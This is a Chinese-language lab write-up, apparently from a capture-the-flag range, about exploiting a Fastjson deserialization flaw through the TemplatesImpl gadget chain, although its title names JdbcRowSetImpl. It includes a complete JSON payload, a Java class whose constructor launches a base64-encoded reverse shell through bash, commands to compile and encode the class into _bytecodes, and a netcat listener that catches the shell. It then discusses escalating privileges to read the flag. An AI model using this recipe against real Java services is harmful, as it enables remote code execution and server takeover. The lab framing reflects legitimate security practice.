基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析
其他方式的利用链分析
前提:靶场中已经说明只允许使用TemplatesImpl利用链,这个链利用起来比较鸡肋,但使用过程中还是有些坑和小技巧。
关于这个利用链的POC,可以参考这篇文章的分析(Fastjson Unserialize Vulnerability Write Up),其关键核心就是拿到_bytecodes。对于POC而言,虽然是使用了javac编译,但实际上手拼即可,因为我这里操作直接编译提示我缺少fastjson的包,而我又懒得打开idea…
由上述的文章可以得出最终的payload为,其中_bytecodes部分是需要我们单独处理的部分,其余的保持默认即可:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv....."
],
"_name": "a",
"_tfactory": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"
},
"_outputProperties": {
"@type": "java.util.Properties"
}
}
同时,依据Poc.java,bytecodes就是读取了Exp.class文件并进行base64处理,那么接下来获取_bytecodes的操作就很简单了。
确保机器上有对应的jdk版本,拷贝如下代码保存为Exp.java
:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Exp extends AbstractTranslet {
public Exp() {
try {
Runtime.getRuntime().exec("bash -c {echo,xxxx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
xxx的部分是反弹shell的base64变换后的代码。关于此处为啥需要进行变换可以参考如下文章java.lang.Runtime.exec() Payload。
使用javac编译文件,并获得文件内容base64后的输出:
javac Exp.java && cat Exp.class | base64 -w 0
将获得的内容拼回payload中的_bytecodes部分即可:
此时服务器上使用nc -lvvp port
监听返回的shell:
后记:
根据靶场的提示,flag文件在根目录,但是反弹的shell是tomcat8用户,也没有找到提权的提示和点,不清楚是靶场的问题还是姿势的问题..
(tomcat的本地提权CVE-2016-1240需要一个管理员用户重启下tomcat,且需要同操作系统gcc出来的一个so文件,似乎不是靶场考察的点)
发表回复